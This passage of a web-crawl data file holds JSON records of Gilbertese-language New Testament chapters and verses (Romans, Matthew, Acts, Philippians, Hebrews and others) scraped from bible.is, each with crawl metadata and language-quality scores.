aki maan, ao a rangi ni korakora nanora ma n ingainga ni kan nori matami, ngkai ti rangi n tangiringkami. 18Ma ngaia ae ti a kan nako imi. Ngai ae B'auro, I kataia moa n te taina, ao manga te taina riki i mwina; ma e tukiira Tatan. 19B'a tera ara kaantaninga, ao ara kim'areirei, ao te baunuea ae ti na kamoamoaira iai? Tiaki boni ngkami i matan ara Uea are Iesu n rokona? 20B'a kamoamoara ngkami ao ara kim'areirei.\nCopyright","id":"","dump":"CC-MAIN-2016-50","url":"http:\/\/www.bible.is\/GILBSP\/1Thess\/2","date":"2016-12-06T18:45:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-50\/segments\/1480698541950.13\/warc\/CC-MAIN-20161202170901-00218-ip-10-31-129-80.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":591,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.396,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngaia aei, ngkai a kaetaki arora n reitaki ma te Atua n te onimaki, ao e a reke iroura te raoi ma te Atua iroun ara UEA are Iesu Kristo; 2are E a tia ni karekea angaraa n te onimaki b'a ti na roko i nanon te akoaki aei, ae ti mena iai ngkai; ao ti kakatonga ni kaantaningan te neboaki ma te Atua. 3Ao tiaki ti aei, ma ti kakatonga n taian rawawata aika ti taonaki iai, ngkai ti ata te rawawata b'a e karika taotaonan te nano; 4ao taotaonan te nano boni ngaia ae kaotira b'a ti tokanikai i aon te kataaki, ao te kataaki e karika te kaantaninga; 5ao te kaantaninga e aki kamaamaea te aba, i bukina b'a e a tia ana tangira te Atua n nurakinaki nako nanora iroun te Tamnei are Raoiroi, are ti a tia n anganaki. 6B'a ngke ai bon akea te bae ti kona, ao E mate Kristo n taina are baireaki i bukira ao i bukiia naba akana buakaka. 7B'a e kangaanga ae e na mate temanna i bukin te aomata ae kakaonimaki n ira nanon te tua; ma tao e a kona ni mate i bukin te aomata ae e raoiroi. 8Ma te Atua, E kaota oin ana tangira nako ira n aei: b'a ngke bon taani bure ngaira, ao E mate Kristo i bukira. 9Ma ngaia aei, ngkai a a tia ni kaetaki arora n reitaki ma te Atua ni mateni Kristo, ao ti na kamaiuaki i rouna man te reke ni kai ae na roko. 10B'a ngke bon ana kairiribai te Atua ngaira, ao ti raoiakinaki ma te Atua ni maten Natina; ao ai batiraa riki ngkai arora ni kamaiuaki ni maiura, ngkai ti a tia n raoiakinaki! 11Ao tiaki ti ngaia, ma ti kakatonga iroun te Atua i nanon ara UEA are Iesu Kristo, are ti karekea mai Rouna raoiakinara ngkai. 12Ma ngaia aei, b'a ngkai e roko te bure i aon te aba iroun te aomata ae ti temanna, 13b'a bon iai te bure i aon te aba i m'ain rokon te Tua, ma e aki atongaki b'a te bure ngkana akea te tua. 14Ma e uea te mate mairoun Atam ni karokoa Mote, ao i aoia naba te koraki ake a bure, e boni ngae ngke e kaokoro aron aia bure ma ana bure Atam, ngke e aki ongeaba nakon te tua. E reke iroun Atam bannan aron Teuare nangi roko. 15Ma te aki-ongeaba nakon te tua bon tiaki ti te bo arona ma te b'ai n tituaraoi. B'a ngkai a bati aika mate i bukin ana aki-ongeaba temanna nakon te tua, ao e a m'aiti riki ana akoi te Atua ma te b'ai n tituaraoi are reke n ana akoi te Aomata ae ti temanna are Iesu Kristo, nakoia ake a bati. 16Ao iai te kaokoro i marenan te b'ai n tituaraoi ma ana bure te aomata ae temanna: b'a i mwin te bure ae teuana ao e roko te moti ni kabuakaka; ma i mwini buure aika bati ao e roko te b'ai n tituaraoi are motikan taekam b'a ko aki bure. 17Ma ngke e uea te mate iroun ae ti temanna i bukin ana bure, ao ai moa ra riki b'a aomata aika anganaki te akoaki ae bati ma te b'ai n tituaraoi are kaetan aroia n reitaki ma te Atua, a na korakora n aroia nako iroun ti temanna are Iesu Kristo. 18Ma ngaia aei, ngkai a kabuakakaki aomata ni kabaneia i bukin te bure ae ti teuana, ao ai arona naba, b'a a na bane aomata nako ni kainaomataki ma n anganaki te maiu n te m'akuri ae e raoiroi ae ti teuana. 19B'a aroia aomata aika bati ngke a riki n atongaki b'a taani bure n ana aki-ongeaba te aomata ae ti temanna, ao ai aroia naba aomata aika bati b'a a na kaetaki aroia n reitaki ma te Atua n ana ongeaba te aomata ae ti temanna. 20Ma e roko te Tua b'a e aonga ni m'aiti te bure; ma ike e m'aiti iai te bure, ao e a manga m'aiti riki iai te akoi. 21B'a aron te bure ngke e noraki arona n uea n te mate, ao ai arona naba b'a e na uea te akoi ni kaetan arora n reitaki ma te Atua, ao ni kairira naba nakon te maiu are aki toki iroun Iesu Kristo are ara UEA. Ao te bure e karokoa te mate, ao a bane n rotaki aomata ni kabaneia n te mate i bukina b'a a bane ni bure.\nCopyright","id":"","dump":"CC-MAIN-2016-50","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/5","date":"2016-12-10T19:20:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-50\/segments\/1480698543434.57\/warc\/CC-MAIN-20161202170903-00223-ip-10-31-129-80.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":762,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.451,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"19Ngke e a tia Moote n tuangiia aomata ni kabaneia b'aai ni kabane ake a taekinaki n te Tua, ao e anaa te burae ae uraro ae buraen te tiibu ma te kaib'ab'aa ae te utob'a ao e kamanenai ni katimtim'a iai raraaia bun ni kaao ma kooti, ma te ran i aoia aomata ni kabaneia ma te nira ni boki;\nEBERA 9:19\nFREE!\nOne App.\n1214 Languages.","id":"","dump":"CC-MAIN-2016-50","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/9\/19","date":"2016-12-03T13:59:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-50\/segments\/1480698540932.10\/warc\/CC-MAIN-20161202170900-00191-ip-10-31-129-80.ec2.internal.warc.gz","language":"gil","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.000009536743164}","num_words":66,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.267,"stopwords_ratio":0.47,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"17Ma ngaia are e riai i Rouna b'a E na riki n ai aroia tarina ni b'aai ni kabane, b'a E aonga n riki b'a aia Ibonga ae Kakannato ae nanoanga ma ni kakaonimaki ni baika reitaki ma te Atua, n anga te karea n raoi i bukin aia bure aomata.\nEBERA 2:17\nFREE!\nOne App.\n1217 Languages.","id":"","dump":"CC-MAIN-2016-50","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/2\/17","date":"2016-12-08T22:11:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-50\/segments\/1480698542657.90\/warc\/CC-MAIN-20161202170902-00036-ip-10-31-129-80.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":56,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.278,"stopwords_ratio":0.393,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1I atonga te koaua; I aki kewe i bukina b'a ana aomata Kristo ngai, ao e buokai mataniwin nanou are kairaki iroun te Tamnei are Raoiroi, ni kakoauaai naba b'a I aki kewe 2b'a e bati rawaawatau ma korakain nanou ae aki kona n toki. 3Ao e bia reke kaiu, ma ni karaureaki ma Kristo i bukiia tariu ake au bu n te katei n aomata; 4ake Iteraera, ake a tabekaki iroun te Atua b'a natina, ake E kaota mimitongina nakoia, ao E karaoi taiani boraraoi ma ngaiia; E anganiia te Tua, ao e reke i rouia te aro n taromauri ni koaua, ma taeka n akoi, 5ao a riki mairouia bakatibu; ao Kristo, ngkai bon te aomata Ngaia, boni kaain aia botannaomata. Ao te Atua are tautaeka i aoni b'aai ni kabane, ana b'ai te neboaki n aki toki. Amen. 6Tiaki b'a aongkoa iai aki nako raoin te taeka n akoi; e a tia ni koro nanona, b'a tiaki Iteraera ni kabaneia aika ana aomata ni koaua te Atua; 7ao ana kariki Aberaam tiaki naba natin te Atua ngaiia ni kabaneia, b'a E kaangai te Atua nakon Aberaam, \"A na atongaki ana kariki Itaaka b'a am kariki.\" 8Nanona ngkanne b'a naati ake a bungiaki n te rab'ata tiaki natin te Atua; ma naati ake a bungiaki b'a kakoroan nanon te taeka n akoi a atongaki b'a ana kariki ni koaua Aberaam. 9B'a aei te taeka n akoi: \"N te tai naba aei ao N na roko ao e na reke natin Tara te mm'aane.\" 10Ao tiaki ti ngaia, ma e riki naba ae aron aei nakon Rebeka ngke e bikoukou iroun temanna, are Itaaka are ara bakatibu; 11B'a ngke a tuai ni bungiaki natina, ngke a tuai ni karaoa ae e raoiroi ke ae buakaka, ao e kaangai te taeka nakoina, \"E na toro te karimoa iroun te karimwi.\" E taekina aei b'a e na kaotaki iai arona n rinea te nati ae temanna b'a e nako man oin ana kaantaninga; 12ma ngaia are ana rinerine te Atua e nako man arona ni weewete ao tiaki man te m'akuri are a karaoia. 13N ai aron are koreaki ni kaangai: I tangira Iakob'a, ma I riba Etau. 14Ao tera ngkanne ae ti na taekinna? E aki eti aron te Atua? Tiaki ngaia anne! 15B'a E kaangai nakoni Mote, \"N na akoa ane I kan akoia, ao N na nanoangaea ane I kan nanoangaia.\" 16Ma ngaia ae ana rinerine te Atua e boboto i aon ti nanona n nanoanga, ma tiaki i aon aron te aomata b'a tera are e tangiria ke e karaoia. 17B'a E kaangai te Atua nakoni B'arao n te B'aib'ara, \"I karikiko n uea i bukin aei: b'a N na kaota m'akau i roum, ao b'a e aonga n ataaki arau i aonnaba ni bane.\" 18Ma ngaia ae E nanoangaea ae E kan nanoangaia te Atua, ao E kamatoatoa nanon ane E kani kamatoatoa. 19Ane ko na titirakinai iai ngkanne ni kaangai, \"Ao e aera te Atua ngkae E aki toki ni kakaea kairuan te aomata? B'a antai ae tuka nanona?\" 20Nao! Antai ngkoe b'a ko na kaekaa te Atua? Iai riain te b'ai ae e karaoaki man te bokaboka b'a e na kaekaa te aomata are karaoia ni kaangai, \"E aera ngkai ko karaoai n arou aei?\" 21Akea ana riai te tia karaoi b'aai man te bokaboka b'a e na karaoa te boora ae katamaroaaki ma te boora ae akea katamaroaana man ti teuana te b'ariko ni bokaboka? 22Ao bon ti te bo naba ma are E a tia ni karaoia te Atua. E kani kaota unna ma m'aakana n ekianako nako ake a bon riai mateia. Ma E aki, b'a te bae E karaoia E taotaona nanona nakoia. 23E kaota aron neboakina ngke E nanoangaiia aomata ake E a tia n rineia b'a a na reke naba tib'angaia n neboakina. 24B'a I-Iutaia ngaira ke tiaki, ma boni ngaira te koraki ake a weteaki; 25n ai aron ana taeka are kaangai n te boki are Otea: \"N na atongiia ake tiaki au aomata 'b'a au aomata'. Ao are aki tangiraki b'a a 'tangiraki'. 26ao n te tabo are e taekinaki iai ae kaangai nakoia, 'Tiaki au aomata ngkami,' ao a na atongaki naba iai b'a natin te Atua ae maiu.\" 27Ao Itaia e taekiniia Iteraera ni kaangai, \"Ai aron tanon te bike i rarikin taari m'aitiia natin Iteraera, ma ti tabeman mai buakoia aika na kamaiuaki. 28b'a ane E na kawaekoa ni karaoia nako aon te aba te baere E a tia ni motikia te UEA b'a E na karaoia.\" 29Ao e taku naba Itaia, \"Ngke arona b'a te UEA are Moan te M'aka. E aki kamaiuia tabem'aang mai buakoia ara koraki, ao ti na kaman tia ni kamaunaki, n ai aroni kaawa ake Totom ma Komora.\" 30Ao tera ae ti na taekinna ngkanne? Bon aei: b'a aomata aika tiaki I-Iutaia, aika akea aia kekeiaki ni kaeti aroia n reitaki ma te Atua, a kunea b'a e kona n reke i rouia kaetan aroia n reitaki ma Ngaia n te onimaki; 31ma te botannaomata ae Iteraera, ake a ukoukora te tua are e na kaeta aroia n reitaki ma te Atua, e bon tuai n reke i rouia. 32B'a e aera? I bukina b'a a aki kataia ni karekea ni kawain te onimaki, ma a kataia ni karaoia ri nanon te tua. A reke waeia n te \"atibu ni katatata\" ao a tata nako iai; 33n ai aron are koreaki ni kaangai: \"Noria, I kawenea i Tion te atibu ae a na reke waeia iai aomata, ao a na b'aka; ao ane onimakinna ao e na aki kamaamaeaki.\"\nCopyright","id":"","dump":"CC-MAIN-2016-50","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/9","date":"2016-12-06T20:16:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-50\/segments\/1480698541995.74\/warc\/CC-MAIN-20161202170901-00227-ip-10-31-129-80.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":943,"character_repetition_ratio":0.044,"word_repetition_ratio":0.0,"special_characters_ratio":0.253,"stopwords_ratio":0.418,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ni boong akekei, ao e ongo rongorongon Iesu Erote are te tia tau-taeka, 2ao e taku nakoia ana toro, \"Bon Ioane teuarei, are te tia B'abetito! E a manga uti mai buakoia maate, ma ngaia ae e a reke i rouna te m'aaka ni karaoi m'akuri aika kamimii.\" 3B'a e a tia n anga ana taeka Erote b'a e na tauaki Ioane b'a te bure, ao e tua b'a e na kabaeaki ao e na kakiaki i nanon te karabuuti. E karaoa aei Erote i bukin Eroria b'a e a tia ni iein ma ngaia, ao neiei boni buun tarina are Biribo. 4B'a e a tia ni kangai Ioane nakon Erote, \"E aki riai i aan te tua b'a ko na buuna Eroria!\" 5Iai nanon Erote ni kani kamatea Ioane, ma e makuia aomata. 6Ma n te tai are e kauringaki iai ana bongi ni bung Erote, ao e b'ab'atere natin Eroria te aine i mataia kaain te botaki. E kukurei Erote i rouna 7ma ngaia are e kab'aka ana taeka ni bau nako ina, ao e tuea b'a e na angan neierei te baere e tangiria mai rouna. 8E a kaman tuangaki neierei iroun tinana, ma ngaia are e taku, \"Anganai atun Ioane are te tia B'abetito ikai i aon te raurau!\" 9E rawawata nanon te uea; ma e tua b'a e na anganaki i bukin ana taeka ni bau are e a tia n atongnga i mataia ana iruwa; 10ao e kanakoa ana aomata temanna b'a e na korea roroan Ioane n te karabuuti. 11E uotaki atuna i aon te raurau, ao e anganaki te teeinaine arei, ao ngaia e uotia nakon tinana. 12Ao a roko ana reirei n anaa rab'atana, ao a taunna; ao a nako n tuanga Iesu. 13Ngke E ongo taekan Ioane Iesu, ao E kitana ikekei n te booti, ao E nako n te tabo ae akea kaaina ni kaokoroa iai. Ma ngke a ongo taekana aomata, ao a kitan aia kaawa n ri mwina n nakonako ri etan te nama. 14Ngke E aerake man te booti, ao e noriia aomata aika rangi ni m'aiti; ao E nanoangaiia, ao E kamaiuia aia aoraki. 15Ngke e a kani bong, ao a nako Ina ana reirei ao a taku, \"E aki maekanaki te tabo aei, ao e a b'akanako te tai; kanakoia aomata nakoni kaawa b'a a na kabooi kanaia i bon i bukiia.\" 16E taku Iesu, \"A riai n aki nako; anganiia ngkami kanaia!\" 17A taku nako Ina, \"Ti nimaai te kariki aika iai i roura ikai, ao uoman te ika.\" 18Ao Ngaia E taku, \"Uoti mai nako Iu.\" 19E tuangiia ngkanne aomata b'a a na tekateka i aon uteute; ao e anai kariki ake nimaai ao ika ake uoman, ao E tara rake nako karawa, ao E kaitaua te Atua. E urui kariki ao E angania ana reirei, ao ana reirei a angania aomata. 20Ao a bane n am'arake ao a ngae. A rikoi am'arake ana reirei ao a on iai tengauni ma uakora te b'aene. 21M'aitiia aomata ake a am'arake tao nimaua tengaa te mm'aane, ao iai naba aine ma ataei. 22E kairoroia ngkanne ana reirei b'a a na toka n te booti n ri moana nakon iteran te nama, are iterana are teuana, ngkae E tabe ni kanakoia aomata. 23Ao ngke E a tia ni kanakoia aomata, ao E ararakea te maunga n ti Ngaia b'a E na tataro. Ngke e a tairiki, ao bon ti Ngaia naba ikekei; 24ma te booti n te tai aei e mena n raroa nako ma te aba, ao e reimaurua n te nao, b'a e tutuki te ang. 25I marenan te aoa tenua ma onoua n te karangaina, ao E nako ia Iesu n nakonako i aon te nama. 26Ao ngke a noria ana reirei n nakonako i aon te nama, ao a maaku, ao a kangai, \"Te anti!\" Ao a tang, b'a a maaku. 27Ma E waekoa Iesu n taetae nako ia, ao E taku, \"Kam na karau nanomi, boni Ngai; tai maaku!\" 28Ao e kaekaa Betero ni kangai, \"Te Uea, ngkana boni Ngkoe, ao Ko na tuangai b'a N na nako Im i aon te ran.\" 29Ao E taku Iesu, \"Nako mai!\" Ma ngaia are e ruo Betero man te booti ao e nakonako i aon te ran n nakon Iesu. 30Ma ngke e nora te ang b'a e korakora karena ao e maaku, ao ngke e tabe n inako ao e takarua ni kangai, \"Te Uea, kamaiuai!\" 31E waekoa Iesu ni kanakoa baina n taua, ao E taku nako ina, \"Te aomata ae e karako am onimaki! Ko aera ngkai ko nanokokoraki?\" 32Ao ngke a toka n te booti, ao e b'aka te ang. 33Ao aomata ake n te booti a bobaraaki ni karinea ao a kangai, \"Bon te koaua b'a Natin te Atua Ngkoe!\" 34Ao ngke a ri nanon te nama, ao a roko n te aba are Kennetareta. 35Ao ngke E kinaki Iesu irouia aomata ake kaain te tabo arei, ao a kanakoa aia rongorongo ni kabuta te aba arei, ao a kabaneia ake a aoraki n uotiia nako Ina. 36A butia Iesu b'a a na ti riinga rabin ana kunnikai aoraki; ao ake a riingnga a kamaiuaki.\nCopyright","id":"","dump":"CC-MAIN-2016-50","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/14","date":"2016-12-05T11:19:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-50\/segments\/1480698541692.55\/warc\/CC-MAIN-20161202170901-00487-ip-10-31-129-80.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":869,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.267,"stopwords_ratio":0.441,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1I mwin nimabong, ao e wairio aia mataniwi ibonga are Anania ma unimm'aane tabem'aang ma te aomata temanna ae rangi n rabakau ni kakarabakau ae arana Tereturo. A kaota bukinani B'auro nakon te tia tautaeka. 2Ngke e weteaki Tereturo, ao e tabeki ana taeka ni bukibuki ni kaangai, Berika ae ko moani kakannato, ngkai ti namakina te rau ae bati i aan am kairiri, ao ngkai a bati naba taiani bitaki aika raraoi i bukin te botannaomata aei i bukin am iango raoi. 3Ti butim'aai b'aai ni kabane n taabo nako ma te kaitau ae moan te bati. 4Ma I aki kani kabanea am tai, ma ngaia are I butiko b'a ko na taotaona nanom n ongora teutana iroura. 5B'a ti kunea te aomata aei b'a e iowawa: e karika te kiriwe i buakoia I-Iutaia ni kabaneia i aon aaba nako, ao ngaia mataniwin te botaki ae a atongaki kaaina b'a Natarene; 6ao e kataia naba ni kani kam'araea te Tembora; ao ti taua. 7ma e roko Rutia are aia mataniwi tautia n anaia mai roura ma te matoa n te aro n iowawa. 8Ngkana ko bon nenera arona, ao ko kona iai n atai baika ti bukinna iai. 9A buoka naba are e taekinna Tereturo I-Iutaia, ni kakoauai baike e taekin. 10Ngke e kaota ana kanikina te tia tautaeka nakoni B'auro b'a e na taetae, ao e taku B'auro: N ataakina i rou b'a ko a tia n riki b'a te tia motiki-taeka n te botannaomata aei i nanon ririki aika bati, ao I kukurei n tei bon i buku ni kaitarai baika taekinaki i buku. 11N aron ae ko boni kona n ataia raoi, ao bon ti tengauni ma uabong n nako ngke I nako Ierutarem n taromauri iai. 12A aki norai I-Iutaia ni kauntaeka ma temanna ke ni kakiriweia aomata, i nanon te Tembora ke ni m'aneabaia nako I-Iutaia, ke i nanon te kaawa teuana. 13Ao a aki kona ni kakoauai nako im baikana a bukinai iai. 14Ma I kaota aei nako im, b'a I tataromauria Atuaia ara bakatibu n aron ara onimaki n te Aro, are a atongnga b'a te Aro teuana; ao I iriri nanoni b'aai ni kabane ake a taekinaki n te Tua, ao ake a koreaki n aia boki burabeti. 15Boni iai ae I kaantaningaia mairoun te Atua, ae a kaantaningaia naba: b'a iai te manga-maiu irouia aomata aika raoiroi ma aika buakaka aika tia ni mate. 16Ao ngaia aei ae I kakorakoraai iai b'a N na aki toki ni b'aina te nano ae itiaki i matan te Atua ao i mataia aomata. 17Ma i mwin tabeua te ririki, ao I roko i Ierutarem n nikiri b'aai n tituaraoi nakoia au botannaomata, ao I anga karea. 18Ngke I karaoa aei ao a norai n te Tembora, i mwin tian te m'akuri ni kaitiaki nako iu. Akea aomata i rarikiu, ao akea naba te kiriwe; ma iai I-Iutaia tabem'aang mai Atia aika mena ikekei. 19Boni ngaiia aika riai n roko n tei i matam n anganiko aia taeka ni bukibuki, ngkana iai i buku. 20Ma ngkai a aki mena ikai, ao ke a taetae te koraki aei b'a tera au bure are a kunea ngke I tei i mataia kaain te Tanirim 21ma ti aei au taeka are I takaruaia ngke I tei i buakoia, E baireaki taekau i matami n te bong aei i bukin taekani manga-maiuia maate. 22Ao Berika, are ata raoi taekan te Aro, e taona te kabowi, ao e taku, \"Ngkana e roko Rutia are aia mataniwi tautia, ao I a motika taekam.\" 23E tuanga ngkanne aia mataniwi te taanga n tautia are tebubua kaaina b'a e na kawakina B'auro n teiakinna, ma e na anganna inaomatana teutana; ao e na aki tukiia raoraona ngkana a kan roko ni buokia. 24I mwin tabe bong ao e roko Berika ma buna are Nei Rutira ae te I-Iutaia. E kaoa B'auro Berika, ao e ongora i rouna n taekan onimakinani Kristo Iesu. 25Ao ngke e kakarabakauakina taekan te raoiroi ma te taubaang ma te motiki-taeka are na roko, ao e taonaki n te maku ae bati Berika, ao e taku, \"Ko na nako moa ngkai; ao ngkana e reke au tai, ao N na manga weteiko.\" 26N te tai naba arei ao e kaantaningaia Berika b'a e na anganaki te m'ane irouni B'auro; ma ngaia are e aki toki ni kakaoa B'auro n taetaenikawai ma ngaia. 27Ngke a bane uoua te ririki ao e oneaki mwini Berika irouni Borekio Beteto. E kani karekea taekana ae e raoiroi Berika irouia I-Iutaia, ma ngaia are e katuka B'auro i nanon te karabuuti.\nCopyright","id":"","dump":"CC-MAIN-2016-50","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/24","date":"2016-12-05T11:31:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-50\/segments\/1480698541692.55\/warc\/CC-MAIN-20161202170901-00473-ip-10-31-129-80.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":769,"character_repetition_ratio":0.042,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.412,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngaia aei, tariu aika kam tangiraki, aika kam kan noraki i rou, ae kakim'areireiau, ao au baunuea, kam na teimatoa i nanon te UEA, ngkami aika kam tangiraki. 2I butiia Nei Euoria ma Nei Tuntuke, b'a a na b'aina te nano ae ti te arona ngkai a reitaki ma te UEA. 3Eng, ao I butiko naba, ngkoe ae raou ni m'akuri ni koaua, b'a ko na buokiia nakanne, b'a a tia ni kakorakoraia ni m'akuri ma ngai i bukin te euangkerio; ao raoia naba Kiremenito ma raou ni m'akuri ake tabem'aang, ake a mena araia n te boki ni Maiu. 4Kam na kim'areirei ngkai kam reitaki ma te UEA n taai nako; ao N na manga atonga riki ae kaangai, Kam na kim'areirei. 5Ke e ataaki aromi n taotaonaki n nano irouia aomata ni kabaneia. E a kaan roko te UEA. 6Kam na tai iangoa te b'ai teuana n raraomaeakinna; ma a na kaotaki ami bubuti nakon te Atua ni b'aai ni kabane, n te tataro ni bubuti ae raonaki ma te katituaraoi. 7Ao te rau are mairoun te Atua, are te rau are aki konaaki n ataaki teutana, e na kawakin nanomi ma aia iango nanomi ngkai kam reitaki ma Kristo Iesu. 8Te kabane ngkanne: taari, kam na ti iaiangoi baika koaua, aika eti ma n itiaki, aika tangiraki ngkai a raraoi, aika baika riai ni kamoamoaki, ngkana iai te raoiroi teutana iai, ao ngkana iai te b'ai ae e kamoamoaki te aba iai. 9Kam na karaoi baike kam reireiaki iai i rou, ake kam anganaki, ao ake kam ongo ma n noori i rou; ao E na mena iroumi te Atua are e reke te rau mai Rouna. 10E bati kim'areireiu ngkai I reitaki ma te UEA b'a i mwin te tai ae maan, ao e a manga uti ami iango i buku; are bon iai ngkoa i nanomi, ma e aki reke taina n oti. 11I aki taekina aei i bukini kain nanou: b'a I a tia n rabakau arou ni katau b'aai ni kabane aika riki nako iu. 12I ata aron te maiu ni kainano ao te maiu ni kaub'ai; I a tia n reireiaki arou nakoni b'aai ni kabane ma aaro nako. I ata arou nakoni b'aai ni kabane ma aaro nako. I ata aron te nuai ma te baki, ma te aro ni kaub'ai ma te aro ni kainano. 13I konai b'aai ni kabane ni kaitarai iroun Teuare kakorakoraai. 14E boni ngae n anne, ma kam a tia ni karaoa ae e raoiroi, ngke kam buokanib'ai ma ngai n rawaawatau. 15Ngkami aika I-Biribi, kam bon ataia naba b'a ngke I kitana M'aketonia n taai ake e moa n tataekinaki iai te euangkerio i buakomi ao akea te ekaretia teuana ae buokanib'ai ma ngai n te anga ke n te anganaki, b'a ti ngkami; 16b'a ngke I mena i Tetaronike, ao kam kanako baika tangiraki i rou ngke e kai nanou, tiaki ti te taina ma uatai. 17Tiaki nanona b'a I kani karekea te b'ai n tituaraoi, ma I tangira aromi n angab'ai. 18Ma a reke b'aai ni kabane i rou, ao a kabatiaki riki au b'ai. A bane n reke i rou baika I kainanoi ngkai a reke i rou b'aai aika e uoti Ebaberorito mai roumi. A riki b'a kanga ai aron te boi ae boiarara ae te karea ae tangiraki, ae E kukurei te Atua iai. 19Ao Atuau, E na anganingkami b'aai ni kabane aika a kai nanomi iai mani kaub'aina ae bati irouni Kristo Iesu. 20Ana b'ai te Atua ae Tamara te neboaki n aki toki. Amen. 21Kam na anga ara kamauri nakoia ake a itiaki ni kabaneia ake ana aomata Kristo Iesu. A kamauringkami taari aika mena i rou. 22A bane ni kamauringkami ake a itiaki, ma ai moara riki te koraki ake kaaini mwengani kautun te tautaeka i Rom. 23E na mena ana akoi te UEA are Iesu Kristo irouia tamneimi.\nCopyright","id":"","dump":"CC-MAIN-2016-50","url":"http:\/\/www.bible.is\/GILBSP\/Phil\/4","date":"2016-12-10T23:04:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-50\/segments\/1480698543577.51\/warc\/CC-MAIN-20161202170903-00055-ip-10-31-129-80.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":654,"character_repetition_ratio":0.058,"word_repetition_ratio":0.003,"special_characters_ratio":0.247,"stopwords_ratio":0.411,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"9Ngai ae Ioane, ae tarimi, ae raomi n uaia n rawawata ma ni kaaina ueani Kristo ma ni b'aina te nanom'aka ngkai ti reitaki ma Iesu, I mena i aon te abam'akoro ae Batemoti, i bukin ana taeka te Atua ao i bukin naba te koaua are E tataekinna Iesu\nTE KAOTIOTI 1:9\nFREE!\nOne App.\n1216 Languages.","id":"","dump":"CC-MAIN-2016-50","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/1\/9","date":"2016-12-07T17:10:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-50\/segments\/1480698542217.43\/warc\/CC-MAIN-20161202170902-00344-ip-10-31-129-80.ec2.internal.warc.gz","language":"gil","language_score":1.000009656,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000096559524536}","num_words":56,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.258,"stopwords_ratio":0.446,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1I tangiringkami, taari, b'a kam na aki m'aninga b'a a bane ara bakatibu ni mena i aan te nang, ao a bane n ri nukan tari; 2ao kanga a bane ni b'abetitoaki nako nanoni Moote n te nang ao n tari, n aroia ni kairaki i rouna. 3A bane ni kana te am'arake n Tamnei ae ti te arona, are E anganiia te Atua ni m'aakana 4ao a bane naba n nima te moi n Tamnei ae ti te arona, are E anganiia te Atua ni m'aakana. B'a a moi man te b'a are e iririia, are te b'a are mairoun te Atua; ao te b'a arei boni Kristo. 5Ma a m'aiti i buakoia ake E aki kukurei te Atua i rouia, ma ngaia are a mate ni bakarae i nanon te rereua. 6Ao baikai a riki b'a b'aai n reirei nako ira, b'a ti na aki rii iai, n ai aroia. 7Kam na tai riki b'a taan taromauri bouannanti n ai aroia tem'angina 